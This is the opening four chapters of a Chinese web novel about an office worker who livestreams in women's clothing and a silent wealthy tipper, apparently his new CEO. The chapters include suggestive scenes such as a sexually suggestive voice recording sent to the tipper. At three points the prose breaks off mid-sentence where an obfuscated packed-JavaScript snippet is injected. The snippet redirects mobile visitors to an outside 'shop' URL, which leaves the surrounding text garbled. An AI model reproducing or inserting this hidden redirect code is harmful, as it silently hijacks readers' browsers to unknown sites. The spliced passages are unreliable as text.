《叮!美受主播已上线》 1. 第1章 深夜的公寓。 月光透过窗帘的缝隙照进昏暗的室内,电脑前的男生穿着漂亮的小裙子正在直播,是那种很梦幻的荷叶边设计,领口边缘缀着蕾丝的褶皱,裙摆犹如花瓣层层叠叠地铺开。 尽管摄像头只对准他的上半身,看得见金色的假发整齐地垂在肩头,但他还是化了精致的妆容,卷翘的睫毛纤长浓密,眼线妖娆上挑,唇色是温柔的粉。 刚开播,直播间里的人数已有三千,弹幕如雪花般密集飘过,将屏幕染成一片彩色的海洋。 【小荔酱!我来了!今天穿的新裙子吗?好可爱啊啊啊!】 【这荷叶边绝了!像草莓蛋糕的边边,想咬一口~】 【怎么没声音呢?快说句话!耳朵已经准备好怀孕了!】 观众眼里的卡哇伊美少女微微侧头,柔顺的发丝滑落肩头,唇瓣对向麦克风,声音软糯得像融化的奶油,“大家晚上好呀~今天这条裙子,是我特意找代购买的,好喜欢的呢。” 别的直播男扮女需要用变声器,他却不用,天生就会转换女孩的声线,一夹起嗓子说话,便充满少女的清甜与灵动,直让人心尖发颤发麻。 弹幕瞬间被“啊啊啊小仙女本仙”“求代购联系方式”刷满。 “荔枝泡泡酱”的直播间,不光只有男生,女生更多。 原因是“她”情商很高,反应迅速,总能精准接住每一个话题,并且讲话极有分寸,虽然也爱开点带颜色的玩笑,擦点小边,却不会让人感觉不舒服。 尤其是,她经常把“女孩子是这个世界上最可爱的存在”这句话挂在嘴边,让人听了怎能不心花怒放? 对于“小荔酱”的性别,极少有人会怀疑,皮肤白皙,骨架纤细,讲话的感觉如沐春风,分明就是一枚可口小蛋糕!怎么可能会是男孩子呢? 然而事实上,生活中“小荔酱”不但是男生,还是最没有存在感的那一种! 他叫景眠,毕业于一所985高校,目前在世界百强的集团任职,平日里总戴着一副粗框眼镜,穿着一成不变的白西装黑西裤,沉默寡言、唯唯诺诺,被同事视为透明人。 这与网上的他简直是两个极端! 当然,景眠本人是很享受其中的,白天的他是格子间里沉默的影子,报表、会议、永无止境的Excel表格,像一层层灰扑扑的茧,将他裹得密不透风。 而到了夜晚,“小荔酱”则是破茧而出的蝶,能让他短暂地、彻底地、疯狂地成为自己。 和粉丝互动了半个小时,又到了每晚例行的“翻牌问答”环节。 景眠点开一位ID叫“爱吃草莓的喵”的粉丝提问: “小荔酱,男朋友说我一个女孩天天看你直播,是不是变态?呜呜呜……” 景眠凑近麦克风,语气软糯又带着认真,“怎么会是变态呢?喜欢美好的事物,是人类的天性呀!你男朋友这都不懂?那就把他换了。” 【小荔酱霸气!这种男的就该换了!看个直播还来指手画脚?】 【笑死,建议这位男友来听几天直播补补课】 【默默送出‘分手快乐’大礼包×1】 弹幕瞬间笑倒一片,礼物特效也跟着欢快起来,小星星、小鲜花如雨点般落下。 景眠接着点开下一位的ID,看到私信,也是无语住了。 “小荔酱,男朋友嫌我穿衣风格太土,该怎么才能提高自己的审美呢?” 将私信念完,景眠先在公屏发出一个“救命!这题超纲了”的小猫抱头表情包。 随后咬住下唇,用无辜的声线对着麦克风恶魔低语道:“妹妹,你最该提高的是选男朋友的眼光哦~” 【啊啊啊杀人诛心!小荔酱好敢说!】 【正确的中肯的一针见血的!】 【笑到打鸣!这句我记下来了,下次直接甩给渣男!!】 【哈哈哈小荔酱绝对不会被渣男pua!】 “真正爱你的人,不会想要改变你,更不会嫌弃你,他只会说‘你今天这条裙子真可爱’,尽管那已经穿了很多次。” 景眠说着,傲娇哼了一声,“那些臭男人,嘴上一旦开始挑剔,心里面已经盘算着找下家了,不管你再怎么用心打扮在他眼里也只能维持一时的亮点,迟早都要离开你,干嘛要为这种人渣不自信?我们怎么样都是最美的!” 【破防了……我男朋友经常说“你穿这个显胖”】 【我男朋友也很爱吐槽我的穿搭,事后还总说是开玩笑!】 【我前男友更绝,兄弟聚会都不好意思带我去】 【啊啊啊楼上的姐妹,你们是怎么忍得了的?】 【震惊了,这样的男人也配有女朋友?】 【难怪我一直单身,换成是我一天都忍不下去】 【小荔酱说得对,爱是包容,不是纠错】 【没事还是多来小荔酱的直播间上上课吧,以防被渣男pua】 弹幕密密麻麻地覆盖了整个屏幕,粉色的泪滴表情和“抱抱”的动画特效此起彼伏,像一场温柔的暴雨,看得人心里暖暖的。 指尖轻轻拨了拨肩头的金发,景眠回归正题,“谢谢大家喜欢~今天除了新裙子,我还准备了新歌哦,想听吗?” 弹幕再次炸开: 【想!小荔酱唱歌是天籁!】 【这是给加班到深夜牛马的福利吗?】 【哇!是新歌哎!终于不用看录屏了,也是赶上热乎的了!】 【耳朵已恭候多时!!快开唱!】 景眠播放了音乐伴奏,清亮的前奏弦乐一响起,瞬间让喧嚣的弹幕安静下来。 “当时奋不顾身伸出我的手, 看见了轮廓就当作宇宙……” 小荔酱唱歌时的嗓音和讲话时不太一样,变得有几分清冽和空灵,具有疗愈性。 疲惫了整天的心灵,最需要这种干净的歌声进行洗涤。 直播间的粉丝还沉醉在歌声中。 突然,屏幕右下角弹出一条金色公告: “Q送出宇宙之心×99!帝王降临!” 金色的宇宙之心填满屏幕,带着一种不容忽视的霸气。 直播间弹幕疯狂滚动。 【榜一大哥又来了!!】 【刷了宇宙之心!还连刷了99个!!】 【什么??99个??我没看错吧??】 【这得多少软妹币?一下数不过来了……】 【握草?还真是99个,差点以为自己眼花了!】 【榜一大哥是不是网卡了啊?(狗头】 直播间讨论得如火如荼,屏幕前的景眠却皱起了眉。 这位榜一大哥从不说话,也不私信,只壕无人性地疯狂刷礼物,用钱默默支持,金额一路从六位数飙到七位数,却从未提过任何要求。 他就像一个沉默的、拥有无限财富的神明,冷眼旁观着他的表演。 这种“纯粹”的捧场,反而让景眠心里发毛。 他不信世上真有这么无私奉献的金主。 在他直播间做慈善呢? “谢谢……Q哥哥。”景眠回过神开口,声音带着一种刻意的、甜腻的沙哑。 工作之余,他在网上开直播的目的主要是想放飞自我,给生活找点乐趣,能额外增加点收入,提高自己的生活品质,固然是好,但这位榜一大哥刷的礼物已经完全超出他的想象。 【hhh小荔酱是不是已经傻眼了?】 【怎么反应这么平静?是不是该给榜一大哥加唱一首?】 【啊啊啊支持!!还没听够!!】 弹幕都在起哄,景眠心想加唱就加唱吧,又不麻烦,唱了他心里还能踏实点。 “大家稍等我一下哦~” 为了感谢榜一大哥的慷慨,景眠特地去拿了吉他过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921606|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这把吉他,是他大学时买的,曾经弹给空荡的宿舍听,后来被塞进衣柜,蒙了三年灰,直到他开始直播,才又将它重新调音,成为“小荔酱”的秘密武器。 不过,景眠平时很少拿出来弹,既然是武器,那肯定要留到特殊的时候。 调整坐姿和镜头,景眠将吉他轻轻搁在腿上,裙摆很短,隐隐露出白丝袜的绑带,勒着大腿上的肉肉,散发着无声的诱惑。 本来大家只看得到上半身,镜头猝不及防一转,香艳的画面瞬间让人倒吸一口凉气。 【啊啊啊镜头下移了!!我看到了什么?!】 【小荔酱你犯规!裙摆那么短,是想going谁?】 【是想让我今晚睡不着吗?这波杀伤力直接拉满!】 【姐姐的美腿好想摸,斯哈斯哈!】 【都让开,先让我摸!】 【腿型好绝……那根绑带是专门诱惑我的吗?!好想解开啊!!】 景眠早料到这反应,嘴角勾起一抹狡黠的笑,不慌不忙地将裙摆轻轻往下拉了一点,动作自然又带着几分刻意的撩拨,“哎呀,不小心露太多啦~” 镜头看不到的地方,他转了转眼珠,声音软得能滴出水,“不过呢,既然是特别演出,当然要有点刺激的‘视觉效果’呀!你说对吧,Q哥哥?” 这酥软媚骨的声叫的,不知道的还以为在喊情哥哥。 【小荔酱你公然调情!我人没了!】 【啊啊!!恨我自己没钱!!不然我也要小荔酱叫我哥哥!!】 【你这一叫,榜一大哥的钱包又要瘪了】 【人家的钱多得花不完好吗?】 景眠不再开玩笑,低头,指尖轻轻拨动琴弦,开始弹奏。 前奏如露珠滴落湖面,清冽而安静。 他没有唱那些直播间常点的甜腻情歌,而是选择了一首冷门的英文歌。 吉他伴奏简单却深情,每一个和弦都像一次心跳,与歌声交织,织成一张温柔的网,将整个直播间轻轻包裹。 一曲终了,屏幕再次被礼物特效淹没。 并且……还在持续不断地刷屏。 “Q先生送出‘梦幻城堡’×99!” “Q先生送出‘云中秘境’×99!” “Q先生送出‘星河璀璨’×99!” 单价超过十万的都有全屏特效,漫天星雨中,一艘宇宙飞船于银河中缓缓降落。 吉他从腿上无声滑落,“咚”一声摔在地板上,景眠才从震惊中回神。 妈妈呀!怎么没人告诉他,暴富的感觉居然这么毛骨悚然!! 果然胆子小的发不了大财!! 景眠深吸一口气,双手在胸前比了个爱心。 “谢谢我们大方的Q哥哥,比心哦~爱你!” “再刷礼物我就要膨胀成小气球啦~” “Q先生送出‘星际玫瑰’×99!” 一大捧玫瑰花接连不断跃入眼帘。 好像开启了什么自动刷礼物的程序。 还在刷? 有钱也不能这么任性吧! 景眠盯着榜一的纯黑色头像,真想知道他是何方神圣,家里多少亩地,能让他这么造! 礼物还在刷屏,直播间里围观群众也越来越多,都想来看看是谁那么壕。 景眠的手在胸前比心比得都快僵了,依然不奏效。 没办法,他只能抛了一记香吻过去,“好啦!榜一大哥哥真的不用再刷啦!心意收到啦~” 结果,榜一的头像在三秒之后直接从列表消失了…… 什么情况? 景眠点开来看,一声不吭直接下线了。 这么突然?难道怪他不识好歹?! 天呢!! 双手害怕地捂住胸口,景眠瑟缩一下身子。 都说有钱人只手遮天,该不会找人来“暗杀”他吧? 2. 第2章 下播后,景眠先去卸妆,又火速冲了个澡,等躺下时已是凌晨三点。 周六和周日的零点是他固定开播的时间,平常如果不加班的话,他偶尔心血来潮,会突然冒个泡,和粉丝闲聊一会儿。 没有预告,没有宣传,只在粉丝群甩一句“我开了”,随后头像一亮,直接进了直播间。 景眠将现实和网络分得很清楚,社畜的生活虽然疲惫,但可以提升他的工作能力,实现自我价值,他学构图、学配色、学如何在混乱中理出逻辑,这些技能,最终都使他成为更好的自己。 网络则是他的庇护所,是他可以自由呼吸的星河,现实的磨砺,从某种意义上说,其实是虚拟世界的养分。 睡前点开直播数据看了一眼,收入那一栏,景眠已经数不清有多少个零了。 平台的规定是五五分,一想到这么多钱要被抽去一半,景眠心痛地睡不着了。 今晚发财的又岂止他一个啊!! 可恶!! 手指悬在榜一大哥的头像,挣扎数秒,景眠点开了他的主页。 空空如也,什么都没有。 关注列表是全部人可见的,只有“荔枝泡泡酱”一个,连注册时默认关注的官方账号都被取消了。 早在今晚之前,景眠便想过给他发私信问候一下,毕竟人家真金白银给你砸了那么多钱,总得说声“谢谢”。 可每次点开聊天框,又觉得无从开口。 感谢完之后呢?是不是该有所表示? 万一要求私下面基,他是同意还是拒绝? 景眠承认自己是有鸵鸟心理,潜意识里总会想,如果动态平衡不被破坏,说不定可以一直维持下去。 起码,主动破坏的那个人不该是他。 人家可能就是钱多得花不完,砸礼物就像买棵大白菜呢? 当然,这些想法都是出自今晚之前。 前些天这位Q先生出手也很阔绰,但远没有今晚这么夸张,礼物全都乘以99,连系统都开始弹出“疑似脚本行为”的警告。 景眠心里很慌,在Q先生刷完礼物直接下线之后,还多了些许好奇,以及一丝丝的探索欲。 他忽然很想知道,像这种“人狠钱多话不多”的角色,背后的真面目是什么样的。 翻来覆去,睡意全无。 景眠索性坐起来,点开了Q先生头像旁的私信按钮。 手机屏幕在黑暗中泛着微光,景眠这次没有犹豫,飞快敲下一行字,发了过去。 【Q先生,您好!谢谢您今晚给我刷了这么多礼物,破费了。我这边实在无以为报,不知您平时爱听什么歌,可以截个歌单给我,以后在直播间里唱。】 这个点他应该已经睡了,明早起来看见才会回复。 最关键的一脚迈出去,景眠长舒口气,心想今晚可以睡个踏实觉了。 结果,就在他准备放下手机的时候,上方忽然弹出一条消息。 Q先生回复他了?! 景眠看到内容后却傻眼。 【喘】 干脆直接的一个字,连标点符号都没带。 这字太轻佻,太暧昧,像一根羽毛划过心尖。 成年人怎么可能不秒懂它的含义。 唇角勾起一抹嘲讽的弧度,景眠轻笑出声。 哪有什么慈善家,不都是为了谋福利? 在网上打赏主播的统统没有例外。 提要求才正常,更让人心里踏实。 不过这位Q先生倒是挺出人意料,没让他发腿照,不跟他调情,上来就让他喘。 只喜欢声音? 景眠心想,他在直播间可自诩为“正经博主”,这个要求——还不简单? 喘几声就有钱拿,跟天上掉金子有什么区别?只要私下不见面,统统都好说。 就算他未来有一天让他发腿照,那也不在话下。 白皙修长的手指缓缓抚摸上胸口,在手机萤火般的光芒中,景眠咬住下唇,按下了录音键。 呼吸最初是微弱的,渐渐变得急促,指尖挑开睡衣的扣子,情不自禁地没入胸前…… “嗯~” 绵长、微颤的少女喘息,带着压抑的颤抖,后鼻音的尾调,像猫爪轻轻挠过丝绸。 呼气在一声喟叹过后并未舒缓,反而更显焦灼,细微的喉音混入呼吸,气息从唇缝间急促溢出,带着温热的湿度,发出“啊”的一声闷响,像是隐忍的呜咽。 景眠的头微微后仰,露出修长的颈线,额前的发丝被汗水微微浸湿,贴在额角。 喉结滚动着,每一次吞咽都显得艰难而急切。 录完,毫不犹豫发送。 景眠的目光瞬间变得清明,将手机扔到一旁,下床去喝水了。 不知那位Q先生听完是何反应,去洗手间来两发也是有可能的。 景眠对自己的声音很有自信,喝完水回到床上,他拿起手机,在看到自己发送过去的语音没有得到任何回复时,嘴角那丝得意的笑顷刻之间僵住了。 已读不回? 看一眼时间,已经过去五分钟了。 不会这么着急吧哥们儿? 憋了多久了? 这么有钱不应该啊! 景眠倒是也没怎么在意,困倦地打个哈欠,放下手机直接睡了。 这一觉睡到了第二天上午十点,意识还未清醒,迷迷糊糊地捞起手机,景眠先点进直播软件的后台,想看那位Q先生回复没有。 然而,页面依旧停留在他发的那条语音。 景眠揉揉眼睛,难免有点儿别扭。 当然,他这种不内耗的性格是绝对不会怀疑自己喘得不够诱惑,一定是对方的问题。 爱回不回。 反正他福利已经给了。 - 周日零点。 景眠准时开播。 今天他又换了一条小裙子,裙身整体是象牙白的柔雾缎面,最外层覆着一层极轻极薄的网纱,细密地绣着星星点点的银线,腰处系着一条粉嫩的蝴蝶结腰带,大得几乎遮住小半裙身,丝带末端还垂着两个毛茸茸的小绒球。 为了配合裙子,景眠还特意将金发扎成了双马尾发尾微微卷曲,用同色系的蝴蝶结发绳束起。 这样一身造型出现在直播间里,自然又引起沸腾。 【啊啊啊小荔酱!!今天又是仙女下凡吗?!】 【双马尾!金发!好少女!啊啊啊狙击我的心!】 【小荔酱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921607|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪来的这么多漂亮的小裙子?求链接!!】 【这裙子也太梦幻了吧!!求链接求链接!!我愿意为美丽打工!】 【蝴蝶结+绒球+网纱=我的心动开关被彻底打开了!!】 【卡哇伊呢宝宝,今天又美出新高度了!】 【老婆老婆,看在你这么美的份上,今天翻我牌子好吗??】 面对满屏的热情夸夸,景眠笑着在镜头前比了个“嘘”的手势。 他的声音像是含了蜜糖一般,甜软又清晰地说道:“大家晚上好呀,先别急着刷屏哦。” 景眠一边说着,一边在原地转了个圈,裙摆像花瞬间绽放,网纱上的银线在灯光下划出一道流光。 他特意把动作放得很慢,好让观众能看清裙子的细节。 “这条手作裙是我在网上找人定制的,工期有些长,大家都知道像这种重工的裙子呢,我通常只在直播间穿一次,所以不嫌弃的宝宝今晚可以参与抽奖,抽中的裙子就送给你啦!” 【啊啊啊真的吗?!我疯了我疯了!】 【抽我抽我尽情抽我宝贝!!】 【定制重工裙说送就送?小荔酱你是天使吧!】 【遇见这么大方的主播,是我的福气。】 【立刻截图!马上转发!抽奖链接在哪里!!】 【呜呜呜我也想要,穿上它肯定和你一样可爱!】 周日晚上的粉丝比周六还要热情亢奋,也有可能是昨晚的礼物刷到榜首,平台推流了,直播间里的人数又创了新高。 景眠以为Q先生今晚不会来,毕竟他连消息都没有回复,可这人还是神出鬼没地出现,刷了99个“宇宙之心”,又消失了。 他好像很忙。 景眠也不知自己为何冒出这样的想法。 下播后,他私信了中奖的粉丝,要来地址,约了快递明天寄出去,便打算睡觉了。 明天周一有例行晨会,他七点多就要爬起来赶地铁,是万万不能熬夜的。 往枕头上一趴,景眠就要睡觉。 可静音的手机,屏幕忽然亮了。 这个点,还有人给他发消息? 拿起一看,还不如不看。 Q先生找他要联系方式了!! 景眠很想闭上眼睛装死,但这个软件它有已读显示…… 意念挣扎一番,景眠将他的微信小号发了过去。 那是他为了“小荔酱”这个身份专门注册的,头像是她本人的侧拍,只看得到一头金发,背景图粉嘟嘟的,柔软的毛毯上趴着一只猫咪。 总之,一切都很少女! 加微信好,微信没有已读显示,这样他即使看了消息也可以装作暂时没看见。 两分钟后,小号便收到添加好友的通知。 景眠第一反应是点开了对方的头像,是一只握着玻璃杯的手。 骨节分明,还挺好看的。 一眼网图。 通过好友前,景眠先上网搜了下“男人的头像是一只手”的内在含义。 结果显示:高冷、伪文艺,有可能是gay 看到最后,景眠浑身一激灵。 gay来加他干嘛啊? 人家可是萌萌哒小仙女! 3. 第3章 好友申请通过后,景眠给对方抛过去一个软萌的表情包,小猫咪挥舞着它的小爪爪,在说“你好”。 对面很高冷,只回过来一个“嗯”字。 考虑到明早还要上班,景眠没那么多功夫跟他闲聊,直截了当地说:【哥哥,我今晚要早点睡,有什么话明天再聊吧。】 对面依旧是一个字:【好】 连标点符号都不带。 很好。 不愧是壕无人性的霸总,就该这么高冷这么拽。 话太多,反而让人下头。 景眠心里悄悄松了口气。 至少对方没问“你真名叫什么”、“你多大了”、“你住哪”这种致命问题。 当然,现在没问不代表他以后不会问。 看来他要给自己编造一个完美又合理的“真实”身份。 困倦地打个哈欠,景眠放下手机,准备睡觉之时,忽然又想起来一件事。 他还没看Q先生的朋友圈呢。 带着好奇,景眠点进去,里面干干净净,除了一张纯黑的背景图,什么都没有。 也对,以他这么冷漠的性格,发朋友圈的话,就不太符合人设了。 神秘。 看着他的头像,景眠暗自嘟哝了声,对这人的身份也越发好奇了。 - 第二天清晨,地铁站。 景眠顶着黑眼圈挤在通勤大军中,手里攥着咬了一口的三明治。 这还没到公司呢,领导就跟催命似的,让他赶紧把周五整理的文件修改一下发过去。 微信弹窗是一条接一条: 【景眠,客户临时调整需求,你那份报告今天必须定稿。】 【十点前我要看到终版,发我邮箱。】 景眠盯着屏幕,胃里一阵抽搐,比空腹喝咖啡还难受。 他深吸一口气,把三明治塞进嘴里,含糊地咽下去,差点噎住。 火急火燎地赶到公司,景眠刚在工位坐下,想要接杯热水暖暖胃,结果他们的部门经理又传话过来,让大家迅速到会议室集合。 打工人的怨气绝对不会比厉鬼少。 戴上工牌,景眠起身往会议室走。 后边有同事跟上来,拍了下他的肩,看到他的头发翘起来一缕,好笑地说:“你该不会头发都没梳就来了吧?” “……嗯。”景眠敷衍应了声。 他是来上班,又不是来约会。 会议室里,空调开得极足,冷风直吹头顶。 领导这次倒是没有啰嗦,清了清嗓子,一上来就告诉大家,两个月前刚上任的秦总从国外出差回来了,等会儿要来他们部门视察工作。 “都打起精神来,秦总最看重细节和执行力,谁要是出岔子,别怪我不留情面。” 经理威严的目光环视一周,落定在景眠所在的方向,“尤其是你们B组,秦总要是问起天美的项目,务必给我好好答。” 景眠和旁边的同事对视一眼,皆从对方眼里读出了无奈与荒谬。 天美的项目本该本周三交付,可A组那边有人磨洋工,拖到最后才甩锅过来,留给B组的时间本就所剩无几。 如今不仅要在两三天内赶工,还要在秦总面前“好好答”? 这哪是汇报,分明是背锅大会。 会议结束后,大家回到工位,原本松散的坐姿,全都挺得笔直,仿佛每个人的脊椎里都被打入一根钢筋。 不仅翻动文件的沙沙声变得急促而整齐,敲击键盘的节奏也陡然加快。 景眠坐在电脑前,无奈地扶了扶镜框,只能争分夺秒地赶项目。 时间在忙碌中过得很快,不知多久以后,有人过来通报,说秦总马上就到。 旁边的同事探过身子问景眠,“这秦总刚上任不久就外派出国了,你之前见过吗?” 景眠摇摇头,同事又说:“看黄经理那么紧张,估计是个冷面阎王……” 话音未落,一道颀长的身影阔步走进了他们的办公区,身后还跟着几位高层领导。 同事吓得一瞬间面色惨白,赶紧面向电脑屏幕,悄然坐正了身子。 “各位先停下手上的工作,我来给大家介绍一下……” 从来都板着一张脸,像别人欠了他八百两银子似的黄经理,脸上堆起谄媚的笑容,向在场的员工拍了拍手,提醒他们看过来。 整个办公区鸦雀无声,所有人的目光都不由自主地聚焦过去。 景眠小心翼翼地抬眸,最先看见一道堪比国际男模的侧影。 握草!!好帅!! 男人一身剪裁极度考究的黑色西装,身高约摸有一米九左右,鼻梁高挺,皮肤冷白,下颌线清晰流畅,浑身透着一股不容置疑的冷硬与矜贵。 他没有说话,只是静静站着,周身便自然形成了一股低气压,让人不敢轻易窥视。 景眠只偷瞄一眼就立刻低下头,唯恐被点名。 “这位就是我们的秦总,大家掌声欢迎。”黄经理接上刚才的话,说完带头鼓起了掌。 偌大的办公区,响起整齐划一的掌声。 景眠有注意到在场很多女同事的眼睛里,都开始往外冒桃心了。 当然,一些令人gay达作响的男同事也不例外。 那气质那身材,可是gay圈天菜,绝对的大猛1。 如黄经理所料,秦总果然问起来天美的项目,黄经理厚颜无耻地答:“这个项目进展得很顺利,目前已到收尾阶段,秦总若是想了解细节,我请B组的员工来作答。” 狗屁! 腹诽着,景眠缩着肩膀,努力想把自己缩成一个透明人。 千万别叫他,千万别…… “不用。”霸气威严的声音紧跟着响起,“调出来,我自己看。” 黄经理一愣,反应过来赶紧点点头,看向工位在最边上的景眠,他那边空间比较大。 “景眠,把方案调出来。” 果然,怕什么来什么。 深呼吸一口气,景眠快速按了几下鼠标,调出方案后,默默起身,站到旁边。 秦总来到他的工位,但没有坐,而是微微俯下身,靠近屏幕。 原来小说里描写的公狗腰真的存在啊! 收紧的西装剪裁下,腰线窄而有力,与宽阔的肩形成极致的倒三角,像一张拉满的弓,蓄势待发。 一看就很有劲。 思绪莫名其妙跑偏了。 意识到自己在想什么,景眠的脸泛起红晕,迅速移开视线。 这一移,又看到撑在桌边的那只手。 骨节分明,指节修长有力,皮肤下淡青色的血管隐约可见,掌控感十足。 原来霸总真的可以拥有这么好看的手。 不一定是网图。 还没来得及多看两眼,景眠就被经理训了,“还愣在那儿干嘛?去给秦总倒杯水。” 景眠眼神木讷地看向经理,反应两秒,才慢半拍地点点头,迈步走开了。 而他一走,经理立刻让旁边的同事给秦总做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921608|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 详细的报告。 这样的事儿自然轮不到景眠,平时的他像个闷葫芦,声音细若蚊蝇,让他做报告,指不定会惹出什么麻烦。 殊不知,“去倒水”对景眠来说是道救赎的符咒,能让他暂时逃离那片令人窒息的修罗场。 景眠刻意在茶水间多待了两分钟才回来。 他将倒好的茶水放到秦总的右手边,余光瞥见同事楚扬战战兢兢的模样,心中默默表示了一番同情。 秦总的气场实在太强大,喜怒不形于色,楚扬也不确定自己是不是有哪句话说错,胆战心惊报告完,额头都冒汗了。 秦洛白盯着电脑屏幕,好长时间没说话。 他没戴领带,衬衫领口松开一粒扣子,却丝毫不减其冷峻。 周围人屏息凝神望着他,不敢出声音。 终于,他开口了,声音不高,却像冰层裂开的一道纹,“周三之前,确定可以完成?” 楚扬喉结滚动了一下,声音有些发紧,“秦总,目前进度是是按计划逐步推进的,我们团队会全力以赴……” “我问的是,确定。”秦洛白打断他,目光从屏幕移开,落在楚扬脸上。 “确……确定。”楚扬声音微颤。 景眠光看到这一幕都感觉要窒息了。 来了这么一位压迫感十足的上司,对员工来说绝对是噩耗。 长得帅有什么用?凶起来一点都不可爱! - 写字楼的玻璃幕墙映出城市最后的余温,加班到夜里十点,景眠才从公司出来,低头看一眼脚下,饿得连影子都瘦了。 这一整天就没正经吃过东西,会议一场接一场,方案改了七版,领导说还要再优化一下,明天下午必须看到终稿。 街边的便利店成了唯一还亮着灯的避难所,景眠推开门,店员低头刷着手机,收银台旁的关东煮咕嘟咕嘟冒着热气。 景眠挑了几串爱吃的,随手拿了瓶玻璃罐的酸奶,掏出手机结账时,碰巧有消息弹出来。 Q: 【回家了吗】 心跳的频率骤然加快。 景眠匆忙结了账,拎着关东煮走出便利店。 【还没呢。】 【哥哥想我了吗?】 撩人的情话张口就来。 夜风微凉,吹乱了额前的碎发。 景眠看着聊天页面,觉得有些不真实。 那么高冷的男人,主动给他发消息? 【你发语音】 对面言简意赅地甩过来四个字。 景眠坐到便利店外的露天餐桌前,拿出一串鱼饼,若有所思地咬了口。 看样子他没猜错。 Q先生之所以打赏那么多钱,就是因为喜欢他的声音。 而他通常只有周末才会开播,没办法每天听到,他便主动来加他微信了。 喜欢声音可比喜欢人简单多了。 景眠将鱼饼吃完,拧开酸奶喝了口,才不紧不慢地按下语音键,问对面:“哥哥想听我说什么呢?” 他没得感情地说完一遍,感觉不够娇嗔,又上扬音调,像倦怠的小猫咪一般出声:“哥哥想听我说什么呀?” 【都行】 消息倒是回得挺快。 景眠想试试他的底线在哪里,略微放肆地问了句:“哥哥是只跟我聊天,还是别的妹妹也聊了呢?” 消息发送成功的一刹那,景眠唇角翘起,眼底闪过一抹狡黠。 倒要看看你个高冷神秘男如何招架! 4. 第4章 消息石沉大海,景眠踏进家门才收到回复。 屏幕上只有简简单单四个字: 【别开玩笑】 解开衬衫的扣子,景眠轻笑了声。 他还以为自己越界,惹得这位Q先生不高兴了呢。 对方这样说,明摆着是无从招架了。 男人最了解男人。 嘴上说不要,实际上有几个能抵挡得住软妹的撒娇? 脱下衬衫,景眠拿起玄关柜上的手机,声音假装委屈地回复:“哥哥,人家等了你好久,怎么这么久才回我呀?” 没过两秒,新消息涌出来。 【刚才有事】 是真有事还是不知道怎么回? 景眠的眼底涌动着小狐狸般的狡黠,他自然不会纠缠不休,只失落地“哦”了声:“哥哥以后有事要提前告诉我嘛,不然人家会担心的。” 尾音拖得绵长,语气里透着恰到好处的娇嗔。 景眠听了一遍,都想跟自己谈恋爱了。 上哪能找到这么可爱的女朋友? Q先生这么聊下去,怕是很快就要沦陷吧。 自恋性人格爆发,景眠心想他得收着点,不能再这么散发魅力,万一对方真动了心,死缠烂打,可就不好收场了。 手机屏幕再度亮起,【别想太多】四个字静静浮现。 景眠做事有分寸,为今晚的聊天暂时画上了句号,“哥哥,我有点累,洗个澡就躺下休息啦。” 发完,他便退出聊天页面,往沙发上一倒。 太累了,还是先上网冲会儿浪吧。 今天忙得几乎没怎么看手机,有什么新闻热点都不知道。 点进某抖热榜,景眠正准备看,上方忽然弹出:【洗完再聊】 ??? 景眠一个鲤鱼打挺从沙发弹起。 怎么不“嗯”了?不是该只回这一个字结束聊天的吗?洗完澡还要聊? 看一眼时间,已经快十二点。 我一个打工人还要早起上班,可不像你们这些当老板的,想睡到几点就睡到几点。 好想骂人,可他的人设是甜妹。 哭哭。 对资本家的怨念在深夜疯狂滋生,景眠有些后悔之前撩他了,怎么还聊上瘾了? 没办法,谁让他是榜一大哥。 为钱忍辱负重不丢人! 扔开手机,景眠眼含热泪进了浴室。 阿抖,明天再宠幸你吧。 - 洗得香香软软的从浴室出来,景眠擦着头发,一屁股坐到床上。 深夜被迫营业,so sad! 他已经没有夹着嗓子说话的精力,拿起手机,随便敲了一句:【哥哥,我洗好啦!】 文字果真具有欺骗性。 单看“啦”这个语气词,轻快又乖巧,搞得他有多活力满满似的,而事实上,他此刻就是只躺平的咸鱼,连抬手关灯的力气都没有。 等了三分钟,对方还没回。 手机从掌心滑落,摔到床上,沉重的眼皮已经没法撑开,景眠翻了个身,顺势把手机塞到枕头底下。 他困了,他要睡觉。 大脑收到指令,几乎是一秒关机。 眼睛一闭,再睁开就到了第二天早上。 在困倦的哈欠中,景眠按停了闹钟。 点开手机,Q先生的未读消息有两条。 【我也洗完了】 【你速度还挺快】 原来老Q没回复是因为他也去洗澡了。 景眠揉揉眼,坐起来。 盯着第二条消息看了几秒,越琢磨越感觉不对劲。 扒拉两下头发,景眠踩上拖鞋,准备去洗漱,在这一瞬间却不知想到什么,瞳孔倏然放大。 ——桥豆麻袋!! 